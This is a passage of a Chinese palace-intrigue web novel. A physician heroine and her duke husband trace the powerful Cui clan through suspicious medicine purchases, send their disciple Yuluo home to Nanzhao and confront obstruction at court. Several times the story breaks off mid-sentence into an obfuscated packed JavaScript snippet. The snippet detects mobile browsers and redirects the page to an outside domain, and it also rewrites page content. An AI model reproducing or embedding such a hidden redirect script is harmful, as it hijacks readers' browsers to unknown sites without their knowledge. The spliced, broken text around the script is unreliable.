李梵娘也走到窗边,“但既然发现了蛛丝马迹,就绝不能放过,为了江南枉死的百姓,为了春儿将来能太平度日,再硬的骨头,也得啃下来。” 杜仁绍转头看她,“没错,管他是百年望族还是千年世家,若真的做了这祸国殃民的事情,我杜仁绍定要将他连根拔起!” 只是接下来的每一步,都需要如履薄冰。 这场没有硝烟的战争,从江南的明刀明枪,转入了京城暗地里的厮杀。 而他们面对的,是一个隐藏得更深、力量更大、也更狡猾的对手。 李梵娘奉旨牵头构建的“医药信息网”迅速展开。 她以教**局和太医署为中心,联合京城及周边州府信誉良好的大药堂、知名医馆,发出了共享信息的倡议。 名义上是为了精进医术、惠及百姓,响应者很多。 初期进展十分顺利,许多医者药商都乐于参与到这等利国利民的好事。 李梵娘每天忙着梳理汇集来的信息,与太医署官员商讨细则,常常忙到深夜。 然而,当她想把信息网监测的范围再深入一些,开始有意识地追踪几种从江南密室中发现的药材流向时,就开始收阻了。 这日,李梵娘在教**局的内堂,对着几份刚送来的药材采购记录蹙眉。 系统正在帮她进行比对分析。 【宿主,发现异常。】系统的提示音响起,【三种稀有药材‘鬼哭藤’、‘血晶兰’、‘墨玉髓’。】 【近三个月内在京城以及周边地区的采购记录,都指向‘济世堂’、‘永盛药行’等好几家老字号。】 【但记录显示,这些药材入库后不久,便以‘品相不佳’、‘炮制损耗’或‘**贵客’等模糊的理由注销或者转出,后续流向就查不到了。】 李梵娘眼神一凝:“能追踪到最终去向吗?” 【不能。】 【这些药行的底层账房和伙计对此一无所知,核心账目和库房管理的,都是各家东主或大掌柜的亲信,口风特别严。】 “系统,你再继续尝试一下。”李梵娘心中的不安逐渐放大。 接连数日,情况依旧如此。 每当调查接近那几家背景深厚的药行核心时,线索就会诡异地中断。 就像是有一双无形的手,早早地抹去了一切痕迹,只留下一个看似合理却经不起深究的空壳子。 王猛那边派去暗中调查的人也回了消息。 这几家大药行,明面上的东家或许看着只是富商,但深究下去,背后或多或少都与一些清流文官、甚至是几位地位不低的勋贵有着千丝万缕的联系。 而再往上追溯,这些关系网的源头,都绕不开那个令人心悸的名字。 清河崔氏。 对方甚至无需亲自出面,有盘根错节的关系网和久居上位的威信,自然而然地形成一道无法逾越的屏障。 “他们就像藏在深水下的鱼,我们只能看到水面的一点涟漪,却根本接触不到他的本体。”李梵娘与杜仁绍说着,声音里带着疲惫与凝重。 杜仁绍揽着她的肩,“意料之中,若真是崔家,他们在朝野经营数百年,根基深的程度绝不是顾家那种暴发户能比的。” “他们擅长的,本来就是这种不见刀光剑影的较量。” 他沉吟片刻,“看来,从外部硬碰硬很难找到突破口。我们需要一个契机,一个能接近核心,或者能让他们自己露出破绽的机会。” 就在二人思索破局方法的时候,契机以一种意想不到的方式递到了他们面前。 这日,一封泥金帖子被送到了镇国公府。 帖子字体飘逸风雅,内容却让杜仁绍和李梵娘绷紧了神经。 帖子是以清河崔氏家主、当朝太傅崔泓夫人的名义发出的,邀请镇国公与护国医仙娘娘三日后过府,参加一场“赏菊小宴”。 帖中文辞恳切,字里行间充满了对二人在江南建功立业 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门房下人衣着体面,言行举止谦恭有礼,却又不卑不亢,细节处可见百年世家的规矩与风范。 递上帖子,立刻有侍女上前引路。 府里是亭台楼阁、小桥流水,处处体现着文人雅士的意境。 廊下悬挂着名家字画,庭院里一草一木、一砖一瓦都透着低调的奢华与深厚的文化积淀。 宴会设在一处临水的花厅,厅外菊花开得正好,品种繁多。 他们到得不算早,厅内已经有了几位客人,都是文士打扮,谈吐风雅。 他们见到杜仁绍夫妇,纷纷起身行礼,态度客气,保持着距离感。 杜仁绍一身国公常服,李梵娘则按品级着装。 夫妇二人的出现,与这满座文人雅士比起来,格格不入,吸引着所有人的目光。 过了一会儿,只听到,“太傅到——” 众人都是收起表情赶忙起身。 第二百四十四章 太傅 只见一位身着素色锦袍的老者慢慢走来。 看着大概六十岁左右,鬓角有些白发,面容清瘦,目光温润澄澈,嘴角含着微笑。 气度谦和,周身笼罩着一层书香沉淀下来的光华。 正是当朝太傅、清流领袖、天子之师——崔泓,崔玉章。 他先是与厅中几位熟识的文人颔首致意,态度亲切自然,随即目光便落到了杜仁绍与李梵娘身上。 “镇国公,医仙娘娘,大驾光临,寒舍蓬荜生辉。”崔泓走上前,语气温和真诚,没有半点架子。 “二位在江南力挽狂澜,救民于水火,实乃是家国之幸运,老夫钦佩已久。今日终于见到了二位,果然名不虚传。” 他的目光在杜仁绍身上停留一瞬,“国公爷英武不凡,正气凛然。” 又转向李梵娘,笑容和蔼:“娘娘仁心圣手,更难得如此年轻,真乃我朝的福气。” 一番话说得滴水不漏,既表达了赞赏,又给了二人尊重,让人挑不出半点错处。 杜仁绍与李梵娘也礼貌回敬:“太傅过誉,愧不敢当。太傅乃是天下文宗,陛下之师,我辈楷模。” “诶,今日只是私宴,不必拘泥礼数。”崔泓笑着摆手,亲自引他们入座,位置安排得很周到,既显的尊重,又不至于太过突兀。 宴会开始,丝竹声起。 侍女们奉上茶点,酒是陈年佳酿,菜是时令珍馐,烹饪到位,摆盘雅致,无一不体现出崔家极高的生活品味和底蕴。 席间,崔泓谈笑风生,与在座的文人们探讨诗词歌赋,品评书画古玩。 宴会的气氛始终维持在一种微妙的平衡中。 崔泓学识渊博的程度令人叹服,从《诗经》的草木之名到《本草纲目》的药材辨析,他都能信手拈来。 与李梵娘探讨时,仿佛只是一位醉心学问的长者。 他甚至能准确说出杜仁绍几年前在西北某场战役中的战术调度,分析得头头是道,言语间充满了对武将不易的理解与钦佩。 “国公爷当年以少胜多,扼守狼牙隘口,真是妙,诡道也,手下是将士血汗,上到社稷安危,不是我们能纸上谈兵的人可以随便议论的。”他举杯向杜仁绍示意,眼神恳切。 杜仁绍心中警铃大作。 此人若为敌,实在太可怕。 他不仅能投你所好,更能完美消除你的戒心。 他举杯回敬,“太傅过誉了,守卫疆土,是我的分内之事,比不上太傅辅佐陛下,教化天下,乃定国安邦之根本。” 崔泓呵呵一笑,捋着胡须摇头:“国公爷这话说的折煞老夫了,文治武功,就像是车的两个轮子,鸟的双翼,缺一不可。” “陛下能有国公与夫人这样的肱骨,实乃大胤之福。” 他巧妙地将话题再次引回对皇帝和朝廷的忠诚上。 李梵娘安静地坐在一旁,面上带着得体的笑,心思却飞速转动。 她仔细观察着崔泓的每一个表情,他说话时的语气停顿,他举杯时指尖的弧度,他听人说话时眼神的专注。 太完美了,反而显得不真实。 就像一幅画,笔笔到位,却独缺真实。 她注意到,每当谈到某些特定地域的药材流通或民间偏方时,崔泓的知识储备似乎更深了,甚至能说出一些连太医署典籍都未必记载过的冷僻用法。 这绝不是一个单纯的文人雅士该知道的。 然而,每当李梵娘试图把话题引的更深,比如某种稀有药材的具体产地、采集时节,或者是某些传闻中带有禁忌的古老药方时,崔泓又会不着痕迹地错开话题。 要么将它归结于某本“年少时偶然看到的杂书,已经记不太清了”,要么把它升华到“万物有灵,医者仁心”的道德层面上。 防守得滴水不漏。 杜仁绍也同样在观察。 他发现,这满座的文人中,有几位看似在随意谈笑,但他们的座位分布,却隐隐将他和李梵娘与其他人隔开了距离。 而厅外侍立的仆从,看着低眉顺目,但行动间隐隐透着章法,眼神锐利,不像是普通家仆。 这场“赏菊小宴”,实则就是一场不见刀光剑影的鸿门宴。 主人温文尔雅,宾客“其乐融融”。 宴会持续了近一个时辰,崔泓始终掌握着节奏,既不让场面冷落,也不让任何敏感话题有深入的机会。 最后他以“年老体乏,不敢久扰诸位雅兴”为由,结束了宴会。 亲自将杜仁绍和李梵娘送至花厅门口,态度依旧谦和。 “今日与 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杜仁绍握紧了拳:“他有声望,有地位,有盘根错节的关系网,自身又谨慎狡猾。要找到他的破绽,难如登天。” “但越是如此,越说明他的图谋越大。”李梵娘目光坚定,“我们必须找到办法。” 车内的两人心情沉重。 崔泓就像是被云雾缠绕的高山,你知道他就在那里,却找不到任何可以攀上去的路。 然而,他们不知道的是,就在他们离开后,方才那位温文尔雅的太傅,屏退左右,独自站在书房窗前,望着他们消失的方向,脸上取而代之的是一片冷漠。 他指尖敲着窗棂,“杜仁绍……李梵娘……倒是比想象中的更难缠些,看来江南的教训,还不够深刻……” 一道阴影悄无声息地出现在他身后。 崔泓没有回头,只是淡淡吩咐:“去告诉‘那边’,计划暂缓,一切小心,没有我的命令,谁也不许轻举妄动。” “是。”阴影旋即消失,仿佛从未出现过。 崔泓的目光重新投向沉沉的夜空,眼中闪过厉色。 山雨,欲来。 第二百四十五章 南诏来信 另一边,玉萝那里也出了状况。 自南诏来到大胤京城,住进镇国公府,拜李梵娘为师后,她的生活发生了天翻地覆的变化。 褪去了公主的华服与骄矜,她每日素衣简钗,每天不是抱着医书药典看,就是往返在教**局与药房之间。 她天资聪颖,更难得的是心性坚韧,学习也很刻苦。 李梵娘并没有因她的身份而有所偏爱,教导一样的严格,而玉萝也咬牙坚持了下来,进步神速。 已经能独立处理许多常见病症,甚至可以帮助李梵娘整理编纂医书f的部分章节。 她渐渐也融入了这里的生活,平和而充实。 但只有她自己知道,对故国和母后的思念从来没有停止。 这日午后,玉萝正在教**局的偏堂里对着药方称药材。 忽然,一个小厮轻手轻脚地进来,手中捧着一封信函。 信函的纸质略显粗糙,封口处用的是南诏特有的植物汁液混合黏土做了标记,这是南诏王室用来传递密信的方式。 “玉萝师姐,”小厮低声说,“刚有人送到门房,指名要交给您的。” 玉萝的心猛地一跳,放下药杵,接过信函。 看到那熟悉的封口标记时,不祥的预感爬上心头。 她挥退小厮,走到窗边,背对着门口,小心地拆开信封。 信纸上的字迹是她母后身边老侍女的笔迹,用的是南诏文字,内容却让她越看越是心惊,脸色变得苍白。 信中并没有直说是什么事情,但字里行间却透露出令人不安的信息: 大祭司年事已高,近来身体状况急剧恶化,已经多次闭关不出,祭祀事宜多由其门下其他几位地位相当的弟子争执不下。 南诏朝堂上,几位原本就对与胤朝过于亲近政策不满的部落首领,近来活动频繁,与祭司门下某位势力最强的弟子往来密切。 国内开始出现一些流言,质疑当年与胤朝结盟带来的好处,反而抱怨赋税、通商中南诏的“吃亏”,甚至隐隐有声音开始鼓吹“恢复古制,神明自治”。 信的最后,老侍女笔迹颤抖地写道:王后忧思过重,然恐隔墙有耳,嘱咐您千万要保重,勿念。 “啪嗒。” 一滴泪滑落,晕开了信纸上的墨迹。 玉萝紧紧攥着信纸,指节因用力而发白。 这也是她一直最担心的事。 大祭司在南诏地位超然,是连接神权与王权的重要纽带,更是母后推行亲胤政策的重要支持者。 一旦他倒下,朝堂上的格局必然会大洗牌。 那些部落首领早就对王权集中和与胤朝的绑定心怀不满,若他们与有野心的祭司弟子勾结…… 母后将会陷入很困难的境地,南诏很可能再次陷入内乱。 而她自己,远在千里之外,什么都做不了。 一种无力感和焦虑瞬间攫住了她。 她仿佛能看到母后在宫廷中独自面对风雨的背影,看到南诏再次被战火笼罩。 她必须回去! 回到母后身边,回到她的国家去! 即使力量再小,她也要与母后共同面对! 可是……师父和师公待她恩重如山,倾囊相授。 如今他们面对困难,她此时提出离开,岂不是…… 而且,她该如何开口? 可不说明缘由,又如何解释这突如其来的离去? 她失魂落魄地坐回椅子上,信纸滑落在地也没有察觉,只是 眼神却飘向了西南边陲。 傍晚,李梵娘从太医署回来,眉宇间带着疲惫,崔家的事像一块大石头压在心上。 她习惯性地先去教**局看看今日的情况,一进偏堂,便看到玉萝独自坐在那里,眼神空洞地望着窗外,连她进来都未曾察觉。 地上,还掉落着一封信函。 “玉萝?”李梵娘轻声唤道。 玉萝猛地回神,看到李梵娘,眼中闪过慌乱,急忙起身,下意识地想将地上的信函踩住藏起,“师…师父,您回来了。” 她这反常的举动如何能瞒过李梵娘的眼睛。 李梵娘目光扫过那封信,又看向玉萝明显哭过的眼睛,心中已经明了七八分。 她并没有立刻点破,只是温和地问道:“怎么了?可是遇到什么难事?脸色如此难看。” 玉萝张了张嘴,话到嘴边却又咽了回去,只是低下头,声音哽咽:“没…没什么,只是…有些想家了。” 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“好孩子,别哭。”李梵娘替她擦去眼泪,“孝心可嘉,何错之有?国之将乱,你身为人女,心系母亲与国家,这是大义,师父怎会怪你?” 她沉吟片刻,“此事关系重大,今晚我与你师公商议后,再定夺,你放心,无论如何,师父和你师公绝不会坐视不理。” 玉萝抬起头,“师父……” “先回去歇着,什么都别想。”李梵娘安慰道,“万事有我们。” 送走心神稍定的玉萝,李梵娘拿着那封信,面色凝重地快步走向书房。 李梵娘快步走进书房,杜仁绍正站在窗前,眉头紧锁,显然也在为崔家的事情烦忧。 见她神色凝重地进来,他立刻迎上前:“梵娘?怎么了?太医署那边不顺利?” 李梵娘摇摇头,将手中的信函递给他,声音低沉:“是玉萝。南诏来的密信,她母后身边的老侍女寄来的。” 杜仁绍接过信,迅速浏览,脸色沉了下来。 “大祭司病重…部落首领异动…流言四起…”他抬起头,“南诏这是要变天?” 第二百四十六章 离开 “嗯。”李梵娘点头,将玉萝方才的状态和她的想法详细说了一遍,“那孩子心里煎熬得厉害,既担心母后和国家,又觉得此时离开是辜负了我们。” 杜仁绍沉吟片刻,手指敲着桌面,眼中闪过深思:“南诏若是乱起来,它的地理位置特殊,紧邻我们西南边境,而且那里还盛产很多稀有药材矿产。” “若是被有心人…比如与‘云山亭’、鬼谷门有牵连的势力趁虚而入,后果不堪设想。” 他看向李梵娘,“玉萝的身份特殊,她既是南诏公主,又是你的亲传弟子,更了解我朝情况。她若此时回去,于公于私,或许都不是坏事。” 李梵娘叹了口气:“我明白。于公,她或能助她母后稳定局势,阻断他人染指南疆的企图。于私,尽人女之孝,承王室之责。只是…” 她顿了顿,眼中流露出不舍,“她才学了多久…我总想着能再多教她一些,让她更稳些再放手。这次南诏,局势复杂凶险,她独自一人…” 杜仁绍握住她的手,“我知你心疼徒弟。但玉萝这孩子明事理,知大义。” “你这段时间的教导,她已经不是吴下阿蒙了,可以独当一面。回去稳定南诏,既是她的责任,或许…也是我们的一个契机。”他目光深远。 “可以留意那些不该出现的药材和人员的流动。” 李梵娘闻言,深吸一口气,点了点头:“你说得对。保护庇佑百姓,本就是我传她医术的初衷。” “如今她的国家有难,她学有所成,回去报效,是正理。我们不能,也不该阻拦。” 她眼中闪过决断:“我这就去和她谈谈,若她决心要回去,我们便为她准备行装,奏明陛下,让她风风光光、堂堂正正地回国!” “好!”杜仁绍颔首,“我现在就去请陛下旨意,并安排可靠的人手护送,务必确保她安全抵达南诏王城。” 李梵娘来到玉萝的房门前,轻轻叩门。 门很快被拉开,玉萝站在门内,眼睛红肿,神情平静了许多。 “师父。”她侧身让李梵娘进来,声音还有些沙哑。 房间内,几件简单的行李已经收拾好,桌上摊开着几本医书和厚厚一叠她誊抄的笔记、整理的药方。 李梵娘的目光扫过这些,心中既有些酸涩,又有些欣慰。 她走到桌边,手拂过那叠笔记,“都决定好了?” 玉萝在她面前跪下,“师父,徒儿不孝,学业还没有成,便要离开了。” “但南诏局势很危集,母后独自一人怕是难以支撑,身为女儿,身为南诏王族,徒儿不能置身事外,苟安于此。” 她抬起头,眼里闪烁着泪光,“徒儿愿意将在大胤所学知识,尽数带回南诏。” “安抚民心,竭尽全力帮助母后稳固朝局,绝不让南诏成为祸乱之源,绝不负师父教诲。” “这是徒儿当下所能想到的,报答师恩与家国最好的方式。” 李梵娘弯腰将她扶起,拉到身边坐下。 她没有立刻说话,只是拿起桌上那叠笔记,一页页仔细翻看。 里面不仅有常见病症的详细记录、药方配伍,还有许多李梵娘结合现代医学知识改良后的诊疗思路,甚至还有针对南诏当地气候、常见疾病的特别标注和建议。 字里行间,可见玉萝的用心程度。 “你可知,南诏此次动荡,根源复杂,不仅仅是靠医术可以解决的?”李梵娘合上笔记,看向她。 “徒儿知道。”玉萝点头,“但医术可安民。民心若是定了,流言便难以掀起波澜。” “徒儿虽然力薄,但也知道从能处着手,稳固国内局面,清除疫病,使百姓安康,便是断了那些企图趁乱牟利的人的最好方法之一,再者……” 她稍作迟疑,继续说着,“徒儿在大胤这些时日,目睹师父与师公如何行事,深知信息与人心的重要性。” “徒儿回去,也会暗中留意国内不寻常的药材流动、人员往来,若是有异动,就设法及时告诉师父师公。” 李梵娘静静地听着,心中感慨万千。 眼前的小丫头,早就不是当初那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“望她一切小心,若有需要,镇国公府,绝对不会袖手旁观。” 玉萝深深一揖,“玉萝代母后,代南诏,谢师公!谢陛下天恩!” 三日后,京城码头。 玉萝换上了一身融合了南诏王室与大胤女子服饰特点的新衣,庄重而不失朝气。 她身后,是载满药材、医书、以及大胤皇帝赏赐给南诏王后礼物的车队船队。 第二百四十七章 春儿哭了 李梵娘又把几箱精心挑选的药材种子和改良农具清单交给玉萝的侍女:“这些或许能在南诏推广种植,改善民生。” 王猛一身戎装,都检查完毕后,走到杜仁绍和李梵娘面前,“国公爷,夫人,放心!末将定将玉萝公主平安送回去!” 杜仁绍拍拍他的肩膀:“一路小心,不仅要防匪患,更要留意……其他的眼睛。”他意有所指。 王猛重重点头:“明白!” 玉萝走到李梵娘面前,最后一次行弟子礼,一切尽在不言中。 李梵娘红着眼圈,扶起她,仔细替她理了理鬓角:“去吧。记住,医者之心,可安天下。遇事不要慌,多思量。” “是,师父。”玉萝声音哽咽,努力扬起笑。 她又向杜仁绍行礼告别。 杜仁绍颔首:“保重。” 该走了。 玉萝最后看了一眼这片让她成长的土地,看了一眼师父师公,转身上了马车。 李梵娘倚在杜仁绍身侧,望着消失的马车,久久不语。 杜仁绍揽紧她的肩膀,低声道:“雏鹰总要自己飞,南诏若是稳定,西南也就无忧了,我们也能更专注于眼前的困局。” “我知道。”李梵娘轻声应道,收回目光,“只是心里难免有些牵挂。走吧,我们也该回去了。” “玉萝回了南诏,或许……崔家那边也会有所动作了。” 夫妻二人转身,上了回府的马车。 刚下马车,还没进门,就听到里面传来春儿撕心裂肺的哭声,间或夹杂着张大娘和侍女们的哄劝。 “我要玉萝姐姐!哇——你们把玉萝姐姐还给我!” 杜仁绍和李梵娘对视一眼,心头一紧,加快脚步进去。 只见春儿穿着寝衣,头发乱蓬蓬的,光脚站在厅堂地上,哭得满脸是泪,鼻涕泡泡都出来了。 张大娘拿着衣裳想给她披上,被她扭着身子躲开。 “春儿!”李梵娘心疼地唤了一声,快步上前。 春儿听到声音,扭头看到爹娘,哭得更委屈了,张开手就扑过来:“娘亲!爹爹!玉萝姐姐不见了!他们都说她走了!是不是不要春儿了?哇——” 李梵娘一把将女儿抱起,用袖子擦着她的脸,“乖春儿,不哭不哭,玉萝姐姐不是不要春儿。” 杜仁绍也围过来,笨拙地拍着女儿的背,“是啊,春儿不哭,爹爹在这儿。” 春儿抽噎着,泪眼汪汪地看着他们:“那…那她去哪儿了?为什么不带春儿?春儿很乖的……” 李梵娘抱着她坐到软榻上,柔声解释:“春儿当然乖。玉萝姐姐不是去玩,她是回自己的家,回南诏去了。” “南诏?”春儿止住哭,眨着眼睛。 “对,南诏是玉萝姐姐真正的家,就像这里是春儿的家一样。”杜仁绍蹲下身,平视着女儿。 “玉萝姐姐的娘亲,就像爹爹和娘亲一样,遇到了很难很难的麻烦,需要玉萝姐姐回去帮忙。” 他尽量用春儿能理解的话说着:“就像…就像爹爹有时候要去打仗,打坏人,保护大家一样。玉萝姐姐现在也要回去,帮她娘亲保护她们的家了。” 春儿似懂非懂,小嘴依旧瘪着:“可是…可是春儿想她…她还会回来吗?” “会的,一定会的。”李梵娘语气坚定,“等玉萝姐姐帮她的娘亲解决了麻烦,把家里收拾得妥妥当当的,她就会回来看春儿。” “她可是娘的徒弟,这里也是她的家啊。” 她拿出帕子,擦干春儿脸上的泪痕和鼻涕,“春儿要是想玉萝姐姐了,可以给她画画,可以把好玩的事情记下来,等她回来的时候拿给她看,好不好?” 春儿吸吸鼻子,看着爹爹娘亲肯定的眼神,心里的恐慌少了一些。 她伸出小手指:“拉钩……” 杜仁绍失笑,伸手勾住女儿的小指:“拉钩上吊,一百年不许变!” 李梵娘也笑着勾了上去。 春儿这才破涕为笑,随即又打了个哭嗝,窝进李梵娘怀里,小声嘟囔:“那…那春儿现在要娘亲抱……” “好,娘亲抱。”李梵娘搂紧她,对着杜仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529499|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍无奈地笑了笑。 杜仁绍看着妻女,心中软成一片。 哄了好一会儿,又许诺了明天去街上买新出的糖人,春儿才被张大娘抱去洗漱吃早饭。 看着女儿蹦蹦跳跳离开的背影,杜仁绍和李梵娘脸上的笑渐渐收敛。 “风雨欲来啊。”杜仁绍低声道。 李梵娘握住他的手:“家总要守的。” 玉萝离京后,朝堂上下开始有了动作,崔家的影响力不可小觑,大臣们宁可得罪的是他杜仁绍。 首先发难的是御史台。 几位素来以清流自居、与崔家关系密切的御史,接连上奏,内容看似无关,却话里有话。 有奏本详细述说了江南官场,将“云山亭”轻描淡写地归咎于“地方吏治**,豪强勾结”,建议陛下应着力于整顿江南官场,选派干吏。 言下之意,案子到顾家这一层就可以停手了,没有必要再深究。 另有奏本则说着忧国忧民,认为朝廷重心当放在安抚江南民心、恢复民生经济上,不要因为追查案子而过度兴狱,以免人心惶惶。 从而影响朝廷威信,甚至暗示镇国公在江南手段有损朝廷仁德。 这些奏章站在道德和政策的制高点上,让人难以直接反驳。 紧接着,在具体的流程上,杜仁绍开始感受到了阻力。 皇城司请求调用某些与涉案人员有牵连的档案时,遇到了各种理由的拖延和推诿,不是主管官员“抱病”,就是文书“归档整理,暂无法调阅”。 赵无咎派去暗中调查那几家与崔家有联系的大药行的人也传信回来了。 说对方似乎早就有所察觉,所有敏感的交易记录消失得干干净净,账目做得天衣无缝,相关管事伙计的口风紧得厉害。 更让杜仁绍心头凝重的是,李睿那里的态度也变得微妙起来。 李睿依然会在朝会上肯定他在江南的功绩,但当杜仁绍试图将话题引向线索时,他往往会以“兹事体大,需从长计议”或者“爱卿辛苦,当先休养”为由,将话题轻轻带过。 第二百四十八章 立功 一次御书房单独上奏时,杜仁绍忍不住直言:“陛下,臣怀疑‘云山亭’背后恐有朝中重臣牵连,而且图谋非常大。” 李睿沉默片刻,手指敲着龙案,目光深邃:“仁绍,你的忠心与能力,朕从不怀疑。” “但你可知,你所指的重臣,门生故旧遍布朝野,声望极高,没有确凿铁证,轻举妄动会引起朝局动荡,对国家百姓没有好处。” 他叹了口气,语气缓和了些:“朕知你受了委屈,也知道此事或许另有隐情。但治国就像是做菜,火候急了,反而坏事。” “朕需要的是确凿无疑、能堵住天下悠悠众口的证据。在此之前,隐忍也是忠君爱国。” 杜仁绍心中明了。 陛下不是不信他,而是在平衡,在等待。 这等待需要时间和耐心,而对手显然不会给他们太多时间。 杜仁绍憋着一口气回到府中,脸色沉得能滴出水。 李梵娘见他神色,屏退左右,递了一杯温茶:“碰钉子了?” 杜仁绍接过茶盏,重重放在桌上,茶水溅出:“哼!老狐狸!手段真是高明!不吵不闹,却让你浑身力气没处使!陛下那边……” 他把刚刚的情况说了一遍。 李梵娘静静听完,“陛下有陛下的难处,崔家树大根深,牵一发而动全身,他要的是能一击必中、无法翻盘的铁证。” “我们现在手里掌握的,确实还多是旁证和推断。” “难道就这么眼睁睁看着他们抹平一切?”杜仁绍一拳捶在桌上,茶盏跳了一下。 “当然不。”李梵娘眼神锐利起来,“他们想断线,我们就偏要找出那根最结实的线头。明的不行,就来暗的。” “官面上的调查受阻,就从他们意想不到的地方入手。” 她压低声音:“我这边的信息网,虽然也**扰,但底层的还在,那些市井郎中的消息,有时比官牍文书更灵通。还有……婉儿那边。” 杜仁绍看向她:“婉儿?” “嗯。”李梵娘点头,“王猛性子直,但婉儿机灵,又在市井长大,如今身份不同,或许能接触到一些我们接触不到的圈子。我明日找她聊聊。” 杜仁绍深吸一口气,压下心头的焦躁:“好!那就双管齐下!朝堂之上,我绝不让他们轻易定调。暗地里靠你了。” 次日朝会,果然又有御史出来说话,将江南的乱归咎于地方,言语间暗指杜仁绍后续的深究是劳民伤财,不利于家国稳定。 杜仁绍这次没有立刻反驳,而是等那御史说完,才出列,“陛下,臣有本奏。” 他手持奏折:“江南一案,不是寻常官吏**,臣已经查明,顾家及其党羽,与‘云山亭’的组织勾结,这个组织的庞大程度绝对不是一府一州就能掌控的。” 他目光扫过那位御史,以及垂首静立的崔泓,继续说着:“他们不仅敛财囤兵,还利用鬼谷门邪术,研制毒物,进行人体试验,意图不轨。” “臣拿到的账册、名单、实验记录,都指明这个组织背后人不简单,图谋也不简单。” 那御史还想争辩:“国公爷此言,可有实证?怎可因一些账目往来便臆测朝中重臣?” 杜仁绍冷笑一声,从袖子里拿出一份誊抄的密信片段。 “实证?这便是‘云山亭’核心成员与境外势力往来密信之一,其中提及的某些资源、路线,这难道是寻常商贾所能搭上的?” 他将誊抄件交由内侍,“陛下,此案关系到国家根本,绝不是臣臆测,若就此轻轻放过,才是养虎为患,辜负陛下信任,辜负天下百姓!” 一时间,朝堂上一片寂静。 那御史被他拿出的东西噎得说不出话。 皇帝看着那页纸,面色凝重,沉默良久,才缓缓开口,“镇国公所说,朕已经知晓了,江南一案,确实需要深究。” “然凡事需要讲求证据,不可捕风捉影,皇城司、刑部、大理寺,联合会审,务必查个水落石出。” “但也要记住,不得牵连无辜,动摇国本。” 这话看似支持了杜仁绍,实则又将案件拉回了“三司会审”的常规程序。 而三司之中,盘根错节的关系网,足以让调查进度变得缓慢而且“合规矩”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529500|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >杜仁绍心中明了,但陛下既然在金銮殿上说了“深究”,便是争取到了一点空间。 他躬身:“臣,遵旨!” 退朝后,几位与崔家亲近的官员交换着眼神,面色都不太好看。 杜仁绍今日的强硬和那封密信片段,出乎他们的意料。 杜仁绍面无表情地走出大殿,心中并没有感到轻松。 回到府中,李梵娘正在等他,旁边还坐着既紧张又兴奋的苏婉。 “如何?”李梵娘问。 杜仁绍将朝堂上的情况说了:“……陛下松了口,但三司会审变数太多,我们时间不多。” 李梵娘点点头,看向苏婉:“婉儿,把你打听到的,和我们说说。” 苏婉深吸一口气,小脸绷得认真:“回国公爷,我…我这几日借着和几位武将家眷喝茶闲聊的机会,听她们抱怨家里老爷最近为一些药材头疼。” “什么药材?”杜仁绍追问。 “是一种叫…叫‘墨玉髓’的石头,听说很难找到,只有几家老字号偶尔有货,价格堪比黄金。”苏婉努力回忆着。 “但最近,这几家好像都缺货,说是源头断了。” “可偏偏…兵部的将作监和武库司那边的大人们好像很急着要这东西,据说是…是用来淬炼一种新型兵刃的辅料?” 杜仁绍瞳孔一缩:“墨玉髓?”他猛地看向李梵娘。 李梵娘面色凝重地点头:“没错,江南密室实验记录里多次提到这种矿物。” “不稳定且需要特殊处理,是配制几种**物和毒物的关键,兵部怎么会大量需要这个?” 杜仁绍背脊升起一股寒意:“将作监…武库司…这些地方,可都有崔家的门生故旧把持着……” “梵娘!”他急声道,“我立刻让赵无咎秘密查证,兵部近期是不是真有此类采购需求?流程合不合规?最终流向何处?” “婉丫头,你立了大功!”杜仁绍难得地对苏婉露出赞许的笑。 苏婉脸一红,不好意思地低下头:“能帮上国公爷和夫人的忙就好。” 杜仁绍立刻去安排。 第二百四十九章 断人财路 若不是婉儿误打误撞听到这些“家常”的抱怨,他们恐怕还在别处兜圈子。 镇国公书房里的灯一直亮到深夜。 赵无咎带来了消息。 兵部近期确实有一笔拨款,用来采购一批“特殊军用物资”,经手的人寥寥无几,且流程是“特事特办”,绕过了一些常规的核查。 最终接收人标注的是京郊一处隶属于将作监的工坊。 而那个工坊的负责人,恰好是崔家一位远房侄孙的门生。 线索串联起来。 “看来,他们并没有停下,只是换了一种方式进行……”杜仁绍看着窗外,声音冰冷。 “我们必须更快了。”李梵娘走到他身边,握住了他的拳头。 “他们以为换个壳子,就能瞒天过海?”他声音低沉,带着火气,“用朝廷的银子,奶那些东西继续他们的勾当!真是好算计!” 李梵娘看着那张密报,“这笔采购的审批流程看着合规,但选择的供应商、指定的工坊,都透着古怪。” “尤其是这个‘墨玉髓’,用量远超寻常兵器淬炼所需,而且在兵部历年档案中,从未有过这么大规模采购此物的记录。” 她抬起头,与杜仁绍对视:“这绝对不是为了打造军械,更像是在为某种大规模杀伤性的东西做准备。” 杜仁绍一拳砸在案上:“绝不能让他们得逞!” 他深吸一口气,强迫自己冷静下来,“但直接动兵部和将作监的人,牵扯太大,还容易打草惊蛇。” “崔泓老狐狸肯定留了后手,我们得有确凿的证据,或者……换个方式。” 李梵娘沉吟片刻,“明修栈道,暗度陈仓。既然他们从商业下手,那我们也从商业上入手。” “你的意思是?” 